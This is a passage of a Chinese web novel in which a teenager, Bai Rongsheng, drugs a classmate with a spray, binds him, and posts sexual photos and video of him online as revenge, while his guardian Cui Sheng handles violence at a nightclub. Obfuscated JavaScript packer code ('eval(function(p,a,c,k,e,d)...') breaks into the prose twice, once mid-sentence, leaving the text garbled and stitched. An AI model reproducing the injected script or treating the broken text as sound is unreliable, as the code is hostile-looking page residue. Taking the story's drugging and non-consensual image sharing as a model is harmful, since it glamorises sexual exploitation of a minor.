他去娱乐区,主要工作就是站着充当人形展板,工作强度不高,也不用像在餐厅的白容生那样端盘子送菜。 娱乐区要更鱼龙混杂,服务生的工作也不一样,唯一统一的大概就是不能丑。 王明军早就给崔盛规划好了职业。娱乐区妖妖调调的俊男美女不少,就是缺个能镇住场的,崔盛外表合适,又有丰富的相关工作经验,安排当他们的小头头,收拾不听话的正好。 崔盛对此没意见,让他去端茶倒水他也做不来。 他的工作在晚上七八点左右才正式开始。起初崔盛饶有兴致,然而观察一段时间后,他失望地发现有钱人的花样不过如此,甚至不如洗头房刺激。 但不管顾客还是“服务员”,都更加体面,基本没有需要他的地方。 崔盛在角落里无聊地吃起薄荷糖,舌头抵住发凉的糖果,不明显地走神。这里工作不能抽烟,他被迫改吃糖。 随意看了看没有问题,崔盛正想去另一边,身后的门却突然打开。 “救、救命!” 木门砰地撞上墙壁,跑出来的女人高跟鞋丢了一只,神色惊慌,伸手向崔盛扑来:“里面、里面打起来了!” 崔盛警觉地避开她的手。女人穿着紧身套裙不好动作,扶着墙勉强站稳,身上被泼了酒,惊恐地颤抖着。 “打起来?” 女人说不出话,忙点头。她的额头肿起来一块,看样子是在哪里撞的。 王明军事前交代,如果是客人打这里的服务生,崔盛无权管辖,必须立刻联系他。崔盛一时不能确定女人是被谁打的,边摸对讲机边向房间走去:“怎么回事?” 他几步就走到房间门口,不等女人回答,崔盛的瞳孔微缩,迅速躲开飞出的一只茶壶。 紫砂茶壶在地上迸溅开无数碎片,里面一个穿着黑西装的矮胖中年人正狼狈地爬着躲进桌子底下,慌乱地抱头大叫。这个男人太胖,崔盛有印象,半小时前他揽着刚刚跑出来的女人一起上楼,身后还跟着一个不显眼的青年。 此刻正是那个不显眼的青年举起沉重的烟灰缸,对着男人重重砸下去。 还没砸到,因为太胖钻不进桌子下面的中年人和外面的女人一齐发出刺耳的尖叫。 王明军没讲过客人之间打起来要怎么处理,不过崔盛推测挨打的中年人地位更高,因此毫不犹豫,从身后直接勒住那个青年的脖子。 崔盛比这人高,卡的位置也很精妙。青年猝不及防被勒得一个踉跄,睁大眼睛,手里的烟灰缸没拿稳,重重砸在地毯上,恰好落在中年人手边。 他很快就喘不上气,喉咙里发出咳咳的声音,被崔盛拖着向后走的时候,双脚还在胡乱蹬着地毯。 崔盛毕竟只有一只手能用,青年拼命挣扎,他偏偏还得顾忌分寸,不能真的把人脖子勒断,一时之间僵持住了。 青年嘴里还在骂人,都是江市的方言,崔盛听不懂就当没听见。 他回头命令那个女人:“去叫乔经理!” 女人赶忙点头,脱下高跟鞋,赤脚跑开。 这时那个钻桌子的中年人见青年被崔盛制住,顿时也不大喊大叫,四肢并用地爬起来,气得满脸涨红。 “好你个……”他话都说不清楚,浑身颤抖,“好你个忘恩负义的白眼狼!” 他后面还骂了几句,同样是听不懂的江市方言。崔盛正专心和这个青年搏斗,左肩被撞了一下,他的手难免一松。 青年红着眼窜出去,崔盛只来得及抓住他的后领—— 咚! 捡起烟灰缸的中年人一抬手,结结实实砸在青年头顶。 崔盛一愣,中年人浑身的肉都在抖,二话不说,恶狠狠地砸了第二下。 “按住他!”他咆哮着对崔盛说,“这个死东西连我都敢打,今天绝对不能让他活着出去!” * 白容生肚子有点饿,估算离崔盛下班还有近一个小时,决定先去餐厅那边找点每晚卖不完的剩菜。这是员工的福利,可以去免费吃。 他胃口比以前好多了,大概是发育期需要营养很多,经常半夜开始饿。 白容生拿着塑料饭盒去等电梯,电梯门打开,里面却是阿润。 “小白,”阿润招手示意他快点进来,“去找你哥呢?” 这些天白容生也了解一些内部情况,阿润是鎏金有名的男公关,专爱男人,看见个帅的就要发骚。自向崔盛抛媚眼不成,他已改换目标,但对白容生一直态度不错。 听出他口气有异,白容生问:“我哥怎么了?” “你哥应该没怎么,我听说是客人出事了,恰好你哥在那边。”阿润摊手,“乔经理通知我也去帮忙,希望不严重。” 白容生立刻打消去餐厅的念头:“阿润哥,我跟你一起去。” “你小孩子凑什么热闹?”阿润不满地说。可电梯已经停下了,白容生硬是抢在他前面出去,他根本拦不住。 他们刚出电梯,就听见吵嚷的声音。一个身材矮胖的男人情绪激动地站在中央,解开衬衫领口,挥舞双手质问王明军。 王明军比他高大半个头,连连弯腰赔笑。一旁房门大开的房间门口,躺着个年轻男人,不知道是死是活,只看见头下一汪殷红的血。 白容生第一时间寻找崔盛,看崔盛站在那个胖子身后,微微低着头不知道在想什么。但白容生一出电梯,他好像有某种心电感应,立刻抬头看过来。 崔盛一眼逮住白容生,眉心紧皱,向白容生使了个眼色,意思是他没事,让白容生赶快回去。 白容生看他确实没问题,也松口气,准备回去时,另一间电梯叮地开门。 “丁叔!”电梯里那人还没出来,就朗声叫道,“没伤着吧?我这就叫车送你去医院。” 说话的青年走出来,身上是缀着亮片的大红色短袖,一头棕发做了造型,向天翘着。他步履匆匆,却注意到了靠墙站着的白容生,毫不掩饰地多看过来两眼,才含笑走向人群。 白容生都快忘了这个男的,今天被多盯了一眼,被看得很不舒服,趁没人注意他,抱着饭盒回到电梯。 这矮胖的中年人叫丁晓东,看见棕发男人,一把握住他的手:“白新天,你来看看这狼心狗肺的王八蛋!你去年可是亲眼见过的,我对他真是真心实意,女儿都说好跟他明年办婚礼,这白眼狼吃我这么多好处,竟然还敢打我……” 他个子不高嗓门不小,哭嚎着让所有人都听他是如何被看好的准女婿辜负,甚至准女婿还想杀他! 白新天从王明军手里接过一包纸,递给丁晓东,顺便抽出自己的手,附和他几句:“行了,叔,这人就交给他们这处理吧,你没受伤就行。结婚还是得门当户对么,给妹妹找个体面点的老公才对。” 丁晓东连连点头,擦干净脸,突然想起什么,回头寻找,目光定在崔盛身上:“小伙子,你,就你,个子最高,过来。” 崔盛不知道他想怎么样,低眉顺眼地走过去,被丁晓东胡乱在肩膀拍了两下:“好孩子,做事够利索。” 这两下有一巴掌拍在伤口,崔盛硬是维持住纹丝不动的表情,还微微躬身。 他挺恶心这样的做派,但不得不做。 丁晓东又开始大讲崔盛如何如何眼疾手快,按住了他的杀人犯白眼狼女婿,否则他的性命就危险了。 王明军上道地跟着夸崔盛办事不错,月底给他发奖金。 白新天也看向崔盛,他忽然插嘴:“你多大了?” 崔盛一愣,不明白为什么会被问这个问题。他刚刚紧张白容生,也注意到这个男人多看了白容生两眼,只是不清楚原因,现在怎么还来关注他? “十九。” 白新天有点惊讶,笑道:“看不出来。” 他没再关注崔盛,和丁晓东说了几句,丁晓东捂着胸口说要去量血压。 王明军小步赶上,送他们下去。 崔盛出了口气,低头冷漠地看了眼手上沾到的血,去洗手间仔细冲洗。 某种意义上因祸得福,他可以提前下班。 白容生用饭盒打了一份套餐回来,分量不小,他还给崔盛也准备了一双筷子,通常崔盛会跟他一起加餐。 “没事吧?”白容生坐在那里看电视等他,认为崔盛实在够倒霉,“老是碰到这种事。” “不知道怎么了,那人带他准女婿来玩,结果差点被打死。”崔盛不关心这个,夹起一块南瓜饼,先给白容生咬一口尝尝,他再把剩下部分吞掉,“下次有这种事你不要去凑热闹,万一牵扯到你怎么办?” 白容生咬着南瓜饼,随便地点头。 崔盛等他吃了一半,突兀地说:“车票买好了,你赶在九月之前回去。我问了在C市的朋友,现在情况放松了很多,我托他另外帮你租个房子,只剩两年,很快的。” 白容生转过来看他,崔盛以为他不放心,补充,“那人是可靠的,你放心,只要我不回去,你和我分开,风险很小。” “我知道。” 白容生心里有事,崔盛看得出来,只是不知道怎么问。 他个人的成长经历是从小孩被强行拉扯成大人,根本来不及有所谓叛逆或者不懂事的青春期。白容生可能本来也要体验这种生活,但在崔盛身边,又在学校,勉强和大部分同龄人同频,正处于心思多的阶段。 崔盛对问不出的话向来是采取暴力逼问,又不能这样对白容生,在心里漫无目的地琢磨着。 睡觉的时候已经很晚了,往常在C市,这时应该黑静无声,可在这里,窗帘外还能透进来隐约变幻的灯光。 屋内冷气蛮足,睡觉时需要盖一张薄被。两人分享同一条被子,白容生睡着睡着手搭在崔盛身上,脸也凑了过来。 他的呼吸平稳温热,崔盛在半睡半醒间意识到他的决定是亲手把白容生送走。当初是他主动把白容生留下,这样看也算是有始有终。 是吗? 崔盛并不清楚。 隔天,崔盛换上制服下楼时,王明军正在昨天出事的房间门口指挥保洁清理血迹。 地毯上的血不好清洁,要直接换一块。他回头看见崔盛,脸上笑开,招手:“崔盛,过来,有个好消息。” 崔盛对好消息敬谢不敏,帮忙扯起脚下的地毯:“好消息?” “昨天的丁先生,认为你能力出色,想从我们这里单独聘请你呢。”王明军压低声音,“下周他要去开会,会场在郊区,雇你几天,工资很高的,抵你在这里干一个月。更何况人家大老板看中你,这个关系可是钱买不来。你去不去?” 看这样子,王明军已经答应了,崔盛同不同意,最后都得去。 他不解:“怎么会找我?” “都说了你昨天表现好咯!丁先生想给你红包的,聊天时候提起来,这个准女婿是他仇家隐藏身份接近他女儿,他连下周的会都不想去,怕被人袭击。我说,那个表现好的小崔以前就是做保镖和看场子的,不如让他试试,反正也不贵。” 崔盛一时间不知道王明军是不是好意,他眼神一动,王明军也在犹豫后说,“崔盛,咱俩是一条绳子的蚂蚱,我不可能害你。你想,都到了江市,还真的在这里做一辈子服务员?我知道你不是忘恩负义的人,你要是能入丁先生的眼,将来别忘了帮我就行。” 崔盛答应下来,他拍拍手,看着保洁将一大块地毯放上车推走,闲聊一般问:“昨天那个姓白的,又是什么人?” “白新天?咱们小老板的好朋友,平时爱上这里玩,花花公子一个。”王明军说,“你看你才来几天,都见他好多次了。不过他脾气还好,不计较小事,放心啦,他喜欢女的,不会骚扰你。” 崔盛:“少恶心我,不是问这个,他在江市很厉害么?” 这下轮到王明军惊讶了:“你一点江市的情况都不知道?白家可是很厉害的,咱们斜对面的写字楼就是他们家的,看见没?” 崔盛心说,就是那个半夜不关灯的。 他是感觉那个白新天看白容生的那两眼不对劲,怀疑白新天有什么特殊癖好,所以打听两句。王明军这样说,崔盛也没完全放下警惕,好在白容生没多久就能离开这里。 王明军知道他身体没恢复好,慷慨地允许崔盛带薪休假,看不出前些天话里话外暗示崔盛这个病号不上班净花医药费的样子。 人之常情,崔盛并不放在心上。他拿着红包,去银行新办了一张卡,密码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这家店的袋子被蒋兴康拍下来过,发在他的动态里,嘲讽同学又穷又要面子,说请客结果就请这种穷酸的。 “叔。” 校门的大门关着,只开了旁边的小门。夜晚蚊虫多,保安都在小屋子里不出来,只开着窗户缝。 白容生走过去,自然又有点焦急地说,“叔我书找不到了,我回班里找一下。” 这段时间白容生头发长长不少,被他抓得乱了一点,再加上口罩。他刻意在监控下调整角度,绝不露出正脸。 保安正看电视,闻言抬头看向他,听他话音闷闷的,带着口罩像是感冒,就说:“竞赛的还是本校的?学生证看一下。” 白容生从口袋里掏出套着墨绿色封皮的学生证,打开后保安根本没细看,挥手说:“去吧。” 收起伪造的学生证,白容生心里松口气。 江市一中的老校区虽然不大,但很精致优美,校园内绿树茵茵,各式各样的花朵盛开,夜风里暗香浮动。 白容生就当是散步,摘下口罩深吸了一口静谧校园里的空气,心中说不羡慕是假的。 他在公告栏看见贴的竞赛班信息,确认蒋兴康所在的楼后,走了过去。 竞赛班在最顶层,五楼。有几个班还亮着灯,里面稀稀落落一些学生,有的在写题,有的在讲台那里边说笑边在黑板上写写画画。 蒋兴康的班只有两人,一男一女,似乎是情侣,围着一张试卷,讨论题还要夹杂打情骂俏的小动作。 白容生远远看过,没向那边走,进入一间空教室,态度自然地坐在最后一排的座位上,拿起一本书翻看。 果然,这里的题比他之前学的要难和深,还有学校自己出的题,质量肉眼可见得高。 白容生恋恋不舍地翻了几页,没敢沉迷,留意着外面走廊的动静。 快九点,寂静的走廊远远传来脚步声和说笑声。这里是高一高二的教学楼,只有寥寥几个班有人,显得这阵杂音更刺耳。 来了。 蒋兴康和几人大步走过,根本没向其余地方多看两眼。 他吃饭时喝了一杯酒,度数不低,神经有些兴奋,嘴上更没把门,把他听说的C市传闻添油加醋,当作都市传说讲给身边的人。 周围人自然都是江市一中的,蒋兴康不屑于和小地方来的人社交。 “当街开枪杀人,还把肚子剖了示众?” “不会吧,你还去过洗头房那种地方……” 青春期的少年,都对这些事有着抑制不住的好奇,又觉得恶心又忍不住追问。 蒋兴康不喜欢被质疑:“我哥就在那边做警司,骗你们做什么?就是这样乱啦,垃圾乡下地方……要不是我爸妈在那边,暂时调不走,我才不在那边上学。” C市虽然烂,不过能提供些猎奇事件吸引注意力,还算是有用。 “再说,”他走进班,笑着坐在桌子上,“我们班就有个人,他妈是洗头房的女人,他也在洗头房长大,都是我哥告诉我的。想不到吧,他平时还很会装好学生哦,其实就是妓女的小孩。” “哇,男的女的?感觉坐在同间教室都很脏哎。” 蒋兴康:“男的咯,要是女生,我还真想问问,她在洗头房要多少钱呢。” 一阵笑声后,几人没把这个放在心上,纷纷坐下处理没做完的作业。正事要紧,他们可不想因为成绩不够好,被从竞赛班踢出去。 蒋兴康虽然爱玩,可竞赛这事很上心。他家里给他在这附近租了一套小房子,省得他挤宿舍,通常他都留到保安上来赶人锁门才走。 今天也是如此,蒋兴康和几个同样最晚走的人一起离开教学楼。他带着耳机好似在听歌,其实是在听英语,望着周围占多数的本校学生,心里难免有点嫉恨。 如果不是父母非要他留在C市,说这样更方便照顾他,他也会是这里的一员。 不过在C市他可以拿到独特的关照,在江市可不行。 白容生自若地混迹在这群学生里,隔着距离跟着蒋兴康。 他知道蒋兴康在学校旁边有房子,只是不清楚具体位置,必须得玩一手跟踪。 幸好这里是老城区,交通混乱,管理稀松,路上也缺少摄像头。 手机被调成静音,白容生看到好多个来自崔盛的未接电话,没有理会。 他跟得不是很紧,远远看着,和蒋兴康一起拐进一家老小区。里面是几排黄墙蓝窗的楼房,墙壁脱落,地面坑坑洼洼,垃圾桶没及时清理,飘散着发酵的臭气。 蒋兴康经过时捂住鼻子骂了句,白容生反而很舒服,他更适应这种环境。 确定蒋兴康走进哪个单元后,白容生在楼下向上望。等了两分钟,四楼的灯亮起,窗户那里能看见一闪而过的高瘦身影。 白容生带上双层口罩,从包里拿出一个平平无奇的白色小喷壶。里面是澄清的淡黄色液体,凑近了能闻到一股令人恶心的化学药品的腻味。 鎏金出品的助兴药,剂量过大的话会导致人短暂昏迷,四肢乏力。 白容生在崔盛休养那段时间,为了赚钱还早起晚归去做临时保洁,那些客人开的房间有这种药水,当然每个房间都是定量的。 他在打扫时偷偷把剩余药水收集起来,有的还是去垃圾桶翻的,积少成多,凑出来一瓶。 楼道的声控灯随着人的脚步,亮了一层又一层。 直到四楼,一只白净的手屈起手指,礼貌地敲了三下门。 47.第 47 章 “谁啊?” 放下喝了几口的可乐,蒋兴康有点莫名地踩着拖鞋走过去。 江市治安比C市好太多,如果在家,他必定会确定外面是认识的人才会开门。可在江市,他又是一个年轻力壮的大小伙子,没什么可怕的,因此直接把家门打开一条缝。 几乎门刚打开,伴随着“噗呲”的声音,味道怪异发腻的水雾乍然糊了蒋兴康一脸。 他大叫一声,下意识后退,手伸长要去关门。但还是晚了一步,白容生蓄势用身体撞开门,扑进去抓着蒋兴康的领子,喷壶源源不断喷出浓密的水雾。 “操!” 那些水雾沾到眼睛时,带来一点灼烧的痛感。蒋兴康很怕眼睛会被搞瞎,赶忙紧紧闭着,都没看清面前究竟是什么人。 他们两人毫无技巧和体面地扭打搏斗,从门口拉扯到客厅。白容生目标明确,始终死死按着喷壶。 等他察觉出蒋兴康力气松了,跌跌撞撞往下倒时,才发现喷壶里的药水少了一大半。 他放开手,胸口肺部被憋得火烧火燎,但还是弯腰揪起蒋兴康的头发,对着他神志不清的脸再次狠狠喷了一点。 这之后,白容生放下喷壶,脱力地后退两步。他小腿被踹了几下,没什么感觉,就是眼前有点模糊,尽管他戴了副墨镜,眼睛多少还是沾到了药水。 回身把大门反锁,拉上窗帘,白容生走进洗手间,摘下口罩,弯腰仔细地洗干净手脸。 他对着镜子看了看,眼圈有点红,别的应该没什么影响。 换上新的口罩,白容生回到客厅,费力地把陷入昏迷的蒋兴康拖起来,蒙住眼睛。 餐桌前有一把有靠背的椅子,恰好方便蒋兴康被绑在上面。 带来的绳子白容生总疑心不够结实,思考两秒,他果断解下蒋兴康那条看着价格不低但异常柔韧结实的皮带,再捆一道。 说到底是助兴药物,哪怕量大管饱,蒋兴康至多也就晕上十来分钟。白容生不敢耽搁,绑完人就给他套上眼罩,这才放松一点,盘腿坐在地板上喘气。 他身上有几处隐约作痛,估计是刚刚摔打出来的。白容生喘匀了气,看着头发凌乱、裤子掉到腰下的蒋兴康,起身过去,拿出他的手机。 果然拍照不错。 对着蒋兴康此刻的状况拍了几张,白容生放下手机。没多久,蒋兴康开始明显大幅度地挣扎起来。 他说话还有点不清楚,含含糊糊地骂了几句,连方言也骂出来了。又因为眼前漆黑看不清楚,加深了恐惧,越骂越难听。 白容生坐在他对面,打开录像,安静地录了一分多钟蒋兴康浑身狼狈骂人的影像。 而蒋兴康在无论说什么都得不到回应的一段时间后,渐渐地也住嘴了。 “……你想干什么?你到底是谁?” 他沙哑着嗓子问,嘴唇止不住地颤抖,“我哪里得罪你了,还是我家里跟你有仇?你找我没用!我就是一个高中生,家里的事我不清楚……” 说着说着,他忽然全身打颤,不可思议地咬住牙不说话了。 ——因为在药效逐渐散开后,它最初的、本质的作用将要凸显。 起反应了。肉眼可见。 白容生觉得挺恶心的,不过他还是要忍着恶心拍两张,并且顺手拿过旁边花瓶里长长的塑料假花,挑开蒋兴康的裤腰,以便照片更清晰。 蒋兴康感受到他的动作,似乎误会什么,崩溃地大喊起来,格外拼命地挣动,脚在地板胡乱踢踹:“你干什么?滚!给我滚!” 拍完两张照,白容生确定重点明确,放下手机,走过去按住马上歪倒的椅子,屈膝顶上蒋兴康的肚子。 “呃!” 蒋兴康呕出了他刚喝的可乐,白容生躲避不及,衣服被他吐脏了,下意识就想抬手扇蒋兴康一耳光。 但在意识到之后,他硬是把举了一半的手收回。 不是他不舍得打蒋兴康,而是他不想彻底成为典型的北城区的人。他依旧梦想着能成为高贵的体面人,体面人是不会随便扇别人耳光的。 报复蒋兴康是以牙还牙,和这不是一回事。 白容生在心里给他自己无形画了个圈,似乎只要在这圈里,他就还是不一样的。 他深深呼吸,抽过纸擦了擦身上。蒋兴康被他打完后老实不少,开始服软:“你是要钱吗,还是要别的?我手里现金都在卧室床头柜,你去拿吧,都给你,拿走我也不会报警,你放过我吧。” 依然没有回应。 得不到回答是最恐怖的,蒋兴康还看不见,他无法得知对面想要什么,慌乱中想要求和,反而在不停暴露自己的底线。 白容生独自品味了一会,即使这有点变态,他依然从这里得到了少许愉快。 电脑就放在客厅,白容生走过去开机。 开机音乐让蒋兴康不安地蹭了蹭,他现在大脑恐惧紧张,身体却不受控制地兴奋,简直难受得恨不得撞墙,更不敢想这人开电脑是想做什么。 电脑有些旧,好一会才开机成功,亮起蓝天绿草的桌面。白容生从抽屉翻出数据线,连着手机和电脑。 蒋兴康看起来每天都要用电脑,他的账号直接点击登录,省得白容生研究密码。 鼠标点击的脆响如同催命铃,蒋兴康迭声叫着,后面直接开始不要脸面地尖声大叫怒骂。老房子隔音差,只要他多叫几声,一定会有人上来看。 白容生脚一蹬,座椅下的轮子滑动,他抓起桌上的抹布,用力塞进蒋兴康口中。 手机里刚拍的图片和视频都传输进电脑,白容生用蒋兴康的账号发布了一条动态。 他拍摄的角度精心挑选,看不见被捆绑的身体,反而过分突出了胯间部位的反应,再加上只有内裤,和之前的精心挑选的图片格格不入。 白容生没打算怎样殴打蒋兴康,他很明白报复一个人的最好方法就是从那人最在乎的地方下手。他的目标只是毁掉蒋兴康的脸面和高傲,没有其他要求。 至于蒋兴康的视频,白容生设定了定时发送。 他盯着屏幕走了会神,身后忽然传来一声巨响,是蒋兴康带着椅子摔倒在地,喉咙里“唔唔”的,脸在地上蹭着,想把捂住眼睛的布条弄下去。 隔着窗户,已经有附近的邻居在窗口骂:“大晚上不睡觉搞什么啦?吵死人了!” 白容生拿起喷壶,在蒋兴康脸前喷了好几下,蒋兴康终于安静下去。 他起身居高临下俯视着蒋兴康,看了会回到电脑前,已经弹出来好几条消息。 白容生对那些一概忽视,退出账号后重新登录需要输入密码。他输错太多次,账号被自动锁定24小时,这期间即使密码正确也无法登录。 做完这些,白容生检查一遍房间,确认他没什么遗留的东西。 他回头看了眼躺着的蒋兴康,抽出抹布。蒋兴康半张着嘴,还在药效里迷迷糊糊的。 “别走……”他似乎意识到什么,大着舌头,“你有本事,让我看看你是谁……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白容生不答话,崔盛默契地和他一同保持沉默,缓步走过去,俯身打量蒋兴康的状态。 蒋兴康蒙眼的布即将被他蹭下来,边缘已经见到了灯光和模糊的人形。不等他睁大眼去看,崔盛抓起他的头,向地板上重重一磕! 砸完后,崔盛保持满脸无所谓的样子,好像刚刚动手的不是他。 等了几秒,崔盛翻过蒋兴康的脸确认:“好了,这样砸就昏过去了,省得你费劲。” 他直起身,有点嫌弃地去洗手,问白容生:“怎么样,结束了吗?” 白容生看了眼黑屏的电脑,点头。 崔盛没细问他怎么做的,靠近揽住白容生,检查完他身上没事,就说:“走吧。” 白容生走出两步,眼神复杂地回头。他叹口气,还是回去,把蒋兴康身上的绳子解开。 这人不能死,死了他们反而不好逃掉。 崔盛站在门口等着他,一言不发。两人在漆黑狭窄的楼道里向下走,脚步一重,灯也随之亮了。 “你是想吓死我”和“你做事能不能有点轻重”两句话在崔盛喉咙里打转,最后他说:“饿不饿,出去吃宵夜吧。” 说不出那种话,责怪不了白容生。 48.第 48 章 白皮酥底,洒着芝麻和葱花的煎包被端上来,带着两碗浓浓的老母鸡汤,鸡汤里加了胡椒粉,喝下去又辣又烫,在夏天足够让人瞬间出一身汗。 但这种有些刺激的口感反而使白容生产生一种踏实感,他很久没有这样和崔盛在外面小店里吃夜宵了。 一份煎包套餐里有猪肉和牛肉两种,崔盛将牛肉的转到白容生那边。 白容生晚上没吃,本来觉得没胃口,结果一口气吃了六个结结实实的包子,被崔盛夸奖:“饭量比之前好多了。” 毕竟在长身体,崔盛十六七岁的时候,一天吃五顿都没感觉。 吃完饭出来走在路上,除了少数做夜间生意的店铺,大半地方都是黑乎乎的。白容生走着走着,从背后挨过去,比了一下他和崔盛的身高差距,怀疑这辈子都追不上。 崔盛只当他吃完犯困,伸手把白容生捞起来,“马上就到了,回去好好睡一觉。” * 回C市的车票被崔盛改为提前两天的车,离开之前,他和白容生都没有异状。 两人差不多就是空手来的江市,离开时也不需要带走什么。白容生做完当天的工作,恰好领班生日,喜气洋洋地给每个人都塞了一个小红包,面额不大,几十块钱图个喜气。 白容生蛮讨她喜欢,还被多鼓励两句,让他继续用心。 下班后白容生换身衣服走出鎏金的大楼,和平时出去散步一样,没引起丝毫注意。偏偏今天他低着头走在路边,一辆车经过时忽然降速,还按了按喇叭。 白容生莫名其妙,停下脚步,车也随之停下,拦在他面前。 “晚上好。”车窗打开,一个模样颇不错的青年自来熟地对他打招呼。白容生从他仔细做了造型的棕发认出来,是那个人。 他在电梯里听见,这人名字应该叫白新天。 “大晚上的,出去玩吗?” 白容生警觉地没开口,白新天好像不在意,主动笑着说话,同时意味深长的目光一直在上下打量他。 那并不是白容生习惯且警惕的,含着下流意味的眼神,更多的是有点尖利的探究和冰冷的评估,让他很不适。 但对方显然是位大少爷,白容生得罪不起,跟着露出一个微笑:“嗯,出去散步。” 哪料白新天竟说:“是吗?巧了,我也要去水边吹吹风,上来吧。” 两人对视数秒,白容生发现他是认真的,别无办法,只好坐进副驾。 “安全带。” 这车的安全带和普通的车不一样,白容生一下没扯出来。白新天便伸长手,帮他扣上。 车内放着轻音乐,两人都不说话,汽车奔驰在宽阔的路面。直到接近离鎏金不远的千湖,白新天才放慢车速,打开窗户迎接潮热的水汽。 “别紧张,我对你没有恶意,就聊聊。”白新天笑了笑,“渴的话可以拿瓶水喝。” 白容生心里记挂的是车票的时间,他怕有意外状况,提前几小时出来,但没想到还是会碰上白新天。 “你一直是C市人?” 白容生谨慎点头。他对父亲毫无印象,也没什么人跟他提过,既然他在那里出生长大,那他就是C市人。 “十六岁……”白新天自言自语,眼睛微微眯起,“家里没别人了吗,就这样让你一个人出来打工?” “父母都不在了。”白容生不明显地停顿,思考后他没提起崔盛,“也没有别的亲戚,抚养我长大的是我妈的朋友,她也去世了。” 白新天发出恍然的声音,“噢,那你这些年还蛮辛苦的。上学没?” “之前在上,现在不确定吧。”白容生含糊表示。 料想那地方不会有好学校,再加上看白容生这样子也不像学习好的,白新天带着不经意的轻视笑了笑:“没什么大问题,读书么,用处不大。” 白容生越发觉得他态度奇怪。 白新天绕着湖开了一圈,在路边把他放下:“你走回去吧,晚上别在外面晃,不安全。对了,”他从名片夹里抽出名片,递过去,“我的手机号,你记一下,以后找你还有事。” 白容生接过名片,听话点头。在路边看着白新天的车消失后,他面色平淡地把名片撕开扔进垃圾桶,伸手拦计程车。 到火车站,离开车还有一个多小时。白容生在外面的便利店买了桶方便面,进站后用车站的免费热水泡面。 等他吃完又去洗干净手,差不多便准备检票。 直到通过检票,坐上开往C市的火车,白容生看着灯火辉煌的江市逐渐远去,才有种这段时间像做梦一样的迷幻感。 他买的一夜硬座,低头转着手机,好半天靠着窗,在周围的鼾声里给冯少平厚着脸皮发消息。 【老师,我明天回学校。】 按理说冯少平应该睡了,可没几分钟,手机一震,竟然收到了回复。 白容生怀疑冯少平会让他滚,然而冯少平只让他先去办公室找他。 * “我靠,看看谁来了,失踪人口啊!” 白容生在校门口,被人从后面重重一扑,差点摔倒。 李舜抓着他,晃着他的肩膀张口就来,“你不在这么久,我可是挖了三年野菜啊!” 白容生莫名其妙:“什么野菜,课外活动?” 李舜立马变脸,和吴飞云一同不屑道:“文盲。” 白容生无奈摇头,李舜又说:“你怎么突然消失了?我跟吴飞云打你电话也不接,看你账号上线,发消息还不回,想怎么样啊?” “有事耽搁了。”白容生说,“现在差不多解决了,不是故意不理你们。” 白容生和他们有点不一样,李舜也说不出哪里不一样,不止是家庭特殊。吴飞云插话进来打圆场,说了几句暑假里的事。 忽然他问白容生:“对了,白班长,你们班里是不是有个叫蒋兴康的?” “嗯?是。”白容生点头,“怎么了?” 吴飞云:“你是真的去哪里修仙了吧?年级大群都传疯了,他动态发了自己下面那种照片,还有一段发疯的视频,跟他平时完全不一样。后面过了挺久才删,有人问他是不是去江市玩大的,发那种东西是任务。” 始作俑者微妙地一挑眉,完美保持了平静的表情:“啊,我没空看。” 李舜:“怎么能错过?等着,中午我回家开电脑发给你。” 三人在楼梯口分别,白容生走到班主任办公室门前,还没敲门,有人从后面“唰”地打开门,带着显而易见的怒气,差点撞上他。 “哎哟,小心一点!” 门后是一位穿着藕色连衣裙和同色高跟鞋的女人,保养得很好,不大能看出年纪,只是此时脸色差劲。她不客气地训斥了白容生一句,抓着手提包,脚步重重地走出办公室。 办公室里冯少平正坐着,双手捂住脸发出长长的叹气声,一放下手发现白容生来了,脸色就是一变:“你去哪里了?知不知道马上就是开学考,啊?我看你还有脑子记得回来,半夜给我发短信,请假请得没头没尾,无组织无纪律,你哥更是不靠谱……” 他嘴不停地说了一长串,白容生一声不吭,倒是冯少平把自己说生气了,端着茶杯站在窗前喝茶深呼吸,把同办公室的老师逗笑了。 白容生把带着的一盒江市特产糕点放冯少平桌上,冯少平一回头更生气,恨铁不成钢地继续说他,“你家庭情况特殊才更应该认真学习,尤其是规章制度必须遵守,学校是你想不来就不来的?你们这些孩子我每个都看在眼里,老师希望你们好,没有一点假!” 见白容生点头,一副听话认错的样子,冯少平就知道,白容生又是知错不改。 他也没有办法,发完火心里只剩下无力感,坐回去挥了挥手:“行了,你们年轻人是不爱听我说话的。过来把这边表格填好,给你销假,之后能正常上学吧?我看看你开学考怎么样!” 白容生拿着笔趴在一边写表格。冯少平把他那盒糕点拿起来看了看,打开分给同办公室的几位老师,剩下的他留在盒子里,准备给干活的学生吃。 这时办公室又继续刚刚中断的话题。 “冯老师,刚那是你们班蒋兴康的家长吧?到底出什么事了,她这么激动。” “我看到我们班学生转发的东西,是那孩子发在网上的照片。你说这小孩才十六七岁,怎么好意思把这种东西往外面发呢?还是重点班的好学生哦。” “学生出什么事都来找老师。他可是在江市那边参加培训,找咱们冯老师有什么用,难不成还是冯老师让他发的?” 其中一个年轻老师用电脑展示她班学生转发的图片,围过去的老师都不好意思细看。冯少平更是气得不行,又开始大口喝凉茶。 蒋兴康父母想给孩子办休学,听说是蒋兴康竞赛培训都不参加了,整天躲在家里不愿意见人。学校这边自然是不建议休学的,他家长舍不得对孩子发火,只好转而来学校泄愤。 “蒋家还是挺有手段的,那个蒋翰,不都做警司了么?可惜是在江市发生的这事,他们不好查,我猜估计是和他们家有仇的人,报复小孩呢。” 白容生拿着表格回来:“老师,写好了。” 冯少平检查后给他盖章,疲惫地让他回去。 白容生进门时班里正在上课,不少人都好奇地往后面瞧,又不方便问。他从后门进去,悄没声地坐下,面前是空空如也的书桌,一张草稿纸都没有。 书基本都留在叉子给的那套房子,不知道还能不能回去。 崔盛给了他这里朋友的联系方式,白容生还没和那人联络。警惕一点总归没错,他还想着要不就不和那人联系了。 桌面落了层灰,同桌推过来一包纸,白容生小声道谢。 下课后,冯少平把白容生叫办公室去。他之前没来时发的书,需要冯少平开条去大办公室取。正好趁大课间有空,免得耽搁上课。 